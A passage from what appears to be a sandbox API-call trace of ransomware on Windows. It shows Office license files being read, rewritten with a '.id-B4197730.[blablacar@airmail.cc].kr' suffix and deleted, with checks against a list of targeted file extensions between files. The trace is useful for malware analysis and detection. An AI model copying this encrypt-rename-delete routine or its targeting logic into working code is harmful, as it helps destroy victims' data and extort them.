lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0216.961] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.961] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0216.962] GetLastError () returned 0x0 [0216.962] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d54, lpOverlapped=0x0) returned 1 [0216.964] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0216.965] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.965] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x118, lpOverlapped=0x0) returned 1 [0216.966] SetEndOfFile (hFile=0x3f8) returned 1 [0216.966] CloseHandle (hObject=0x3f8) returned 1 [0216.966] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.966] SetEndOfFile (hFile=0x518) returned 1 [0216.968] CloseHandle (hObject=0x518) returned 1 [0216.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.969] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ul-oob.xrm-ms")) returned 1 [0216.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0216.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0216.970] lstrlenW (lpString=".doc") returned 4 [0216.970] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.970] lstrlenW (lpString=".docx") returned 5 [0216.970] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.970] lstrlenW (lpString=".pdf") returned 4 [0216.970] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.970] lstrlenW (lpString=".xls") returned 4 [0216.970] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.970] lstrlenW (lpString=".xlsx") returned 5 [0216.970] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.970] lstrlenW (lpString=".ppt") returned 4 [0216.970] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0216.970] lstrlenW (lpString=".zip") returned 4 [0216.970] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.970] lstrlenW (lpString=".rar") returned 4 [0216.970] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.970] lstrlenW (lpString=".bz2") returned 4 [0216.970] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.970] lstrlenW (lpString=".7z") returned 3 [0216.970] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0216.971] lstrlenW (lpString=".dbf") returned 4 [0216.971] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0216.971] lstrlenW (lpString=".1cd") returned 4 [0216.971] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0216.971] lstrlenW (lpString=".jpg") returned 4 [0216.971] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0216.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0216.971] lstrlenW (lpString=".doc") returned 4 [0216.971] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.971] lstrlenW (lpString=".docx") returned 5 [0216.971] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.971] lstrlenW (lpString=".pdf") returned 4 [0216.971] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.971] lstrlenW (lpString=".xls") returned 4 [0216.971] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.971] lstrlenW (lpString=".xlsx") returned 5 [0216.971] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.971] lstrlenW (lpString=".ppt") returned 4 [0216.971] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0216.971] lstrlenW (lpString=".zip") returned 4 [0216.971] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.971] lstrlenW (lpString=".rar") returned 4 [0216.971] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.971] lstrlenW (lpString=".bz2") returned 4 [0216.971] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.971] lstrlenW (lpString=".7z") returned 3 [0216.971] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0216.971] lstrlenW (lpString=".dbf") returned 4 [0216.972] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0216.972] lstrlenW (lpString=".1cd") returned 4 [0216.972] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0216.972] lstrlenW (lpString=".jpg") returned 4 [0216.972] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.972] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.972] lstrlenW (lpString="ProjectStdR_OEM_Perp-ul-phn.xrm-ms") returned 34 [0216.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0216.973] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=19949) returned 1 [0216.973] CloseHandle (hObject=0x518) returned 1 [0216.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0216.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0216.973] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.973] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0216.975] GetLastError () returned 0x0 [0216.975] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x4ded, lpOverlapped=0x0) returned 1 [0216.977] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x4df0, lpOverlapped=0x0) returned 1 [0216.978] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.978] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x118, lpOverlapped=0x0) returned 1 [0216.978] SetEndOfFile (hFile=0x3f8) returned 1 [0216.978] CloseHandle (hObject=0x3f8) returned 1 [0216.978] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.978] SetEndOfFile (hFile=0x518) returned 1 [0216.981] CloseHandle (hObject=0x518) returned 1 [0216.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ul-phn.xrm-ms")) returned 1 [0216.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0216.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0216.983] lstrlenW (lpString=".doc") returned 4 [0216.983] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.983] lstrlenW (lpString=".docx") returned 5 [0216.983] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.983] lstrlenW (lpString=".pdf") returned 4 [0216.983] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.983] lstrlenW (lpString=".xls") returned 4 [0216.983] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.983] lstrlenW (lpString=".xlsx") returned 5 [0216.983] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.983] lstrlenW (lpString=".ppt") returned 4 [0216.983] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0216.983] lstrlenW (lpString=".zip") returned 4 [0216.983] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.983] lstrlenW (lpString=".rar") returned 4 [0216.983] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.983] lstrlenW (lpString=".bz2") returned 4 [0216.984] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.984] lstrlenW (lpString=".7z") returned 3 [0216.984] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0216.984] lstrlenW (lpString=".dbf") returned 4 [0216.984] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0216.984] lstrlenW (lpString=".1cd") returned 4 [0216.984] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0216.984] lstrlenW (lpString=".jpg") returned 4 [0216.984] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0216.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0216.984] lstrlenW (lpString=".doc") returned 4 [0216.984] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.984] lstrlenW (lpString=".docx") returned 5 [0216.984] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.984] lstrlenW (lpString=".pdf") returned 4 [0216.984] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.984] lstrlenW (lpString=".xls") returned 4 [0216.984] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.984] lstrlenW (lpString=".xlsx") returned 5 [0216.984] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.984] lstrlenW (lpString=".ppt") returned 4 [0216.984] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0216.984] lstrlenW (lpString=".zip") returned 4 [0216.984] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.984] lstrlenW (lpString=".rar") returned 4 [0216.984] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.984] lstrlenW (lpString=".bz2") returned 4 [0216.984] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.985] lstrlenW (lpString=".7z") returned 3 [0216.985] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0216.985] lstrlenW (lpString=".dbf") returned 4 [0216.985] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0216.985] lstrlenW (lpString=".1cd") returned 4 [0216.985] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0216.985] lstrlenW (lpString=".jpg") returned 4 [0216.985] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.985] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.985] lstrlenW (lpString="ProjectStdR_Retail-pl.xrm-ms") returned 28 [0216.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0216.986] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=10647) returned 1 [0216.986] CloseHandle (hObject=0x518) returned 1 [0216.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-pl.xrm-ms")) returned 0x220 [0216.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0216.986] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.986] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0216.987] GetLastError () returned 0x0 [0216.987] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2997, lpOverlapped=0x0) returned 1 [0217.236] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x29a0, lpOverlapped=0x0) returned 1 [0217.237] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0217.237] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x10c, lpOverlapped=0x0) returned 1 [0217.237] SetEndOfFile (hFile=0x3f8) returned 1 [0217.238] CloseHandle (hObject=0x3f8) returned 1 [0217.238] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.238] SetEndOfFile (hFile=0x518) returned 1 [0217.241] CloseHandle (hObject=0x518) returned 1 [0217.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0217.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-pl.xrm-ms")) returned 1 [0217.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms") returned 78 [0217.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms") returned 78 [0217.991] lstrlenW (lpString=".doc") returned 4 [0217.991] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0217.991] lstrlenW (lpString=".docx") returned 5 [0217.991] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0217.991] lstrlenW (lpString=".pdf") returned 4 [0217.991] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0217.991] lstrlenW (lpString=".xls") returned 4 [0217.991] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0217.991] lstrlenW (lpString=".xlsx") returned 5 [0217.991] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0217.991] lstrlenW (lpString=".ppt") returned 4 [0217.991] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0217.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms") returned 78 [0217.991] lstrlenW (lpString=".zip") returned 4 [0217.991] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0217.991] lstrlenW (lpString=".rar") returned 4 [0217.991] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0217.991] lstrlenW (lpString=".bz2") returned 4 [0217.991] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0217.991] lstrlenW (lpString=".7z") returned 3 [0217.991] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0217.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms") returned 78 [0217.991] lstrlenW (lpString=".dbf") returned 4 [0217.991] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0217.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms") returned 78 [0217.991] lstrlenW (lpString=".1cd") returned 4 [0217.992] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0217.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms") returned 78 [0217.992] lstrlenW (lpString=".jpg") returned 4 [0217.992] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0217.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms") returned 78 [0217.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms") returned 78 [0217.992] lstrlenW (lpString=".doc") returned 4 [0217.992] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0217.992] lstrlenW (lpString=".docx") returned 5 [0217.992] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0217.992] lstrlenW (lpString=".pdf") returned 4 [0217.992] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0217.992] lstrlenW (lpString=".xls") returned 4 [0217.992] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0217.992] lstrlenW (lpString=".xlsx") returned 5 [0217.992] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0217.992] lstrlenW (lpString=".ppt") returned 4 [0217.992] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0217.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms") returned 78 [0217.992] lstrlenW (lpString=".zip") returned 4 [0217.992] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0217.992] lstrlenW (lpString=".rar") returned 4 [0217.992] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0217.992] lstrlenW (lpString=".bz2") returned 4 [0217.992] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0217.992] lstrlenW (lpString=".7z") returned 3 [0217.992] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0217.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms") returned 78 [0217.992] lstrlenW (lpString=".dbf") returned 4 [0217.992] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0217.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms") returned 78 [0217.992] lstrlenW (lpString=".1cd") returned 4 [0217.992] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0217.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms") returned 78 [0217.993] lstrlenW (lpString=".jpg") returned 4 [0217.993] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0217.993] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0217.993] lstrlenW (lpString="ProjectStdVL_MAK-ul-oob.xrm-ms") returned 30 [0217.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 44 os_tid = 0xe40 [0174.608] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x3c80060 [0174.609] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x3c90068 [0174.609] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, 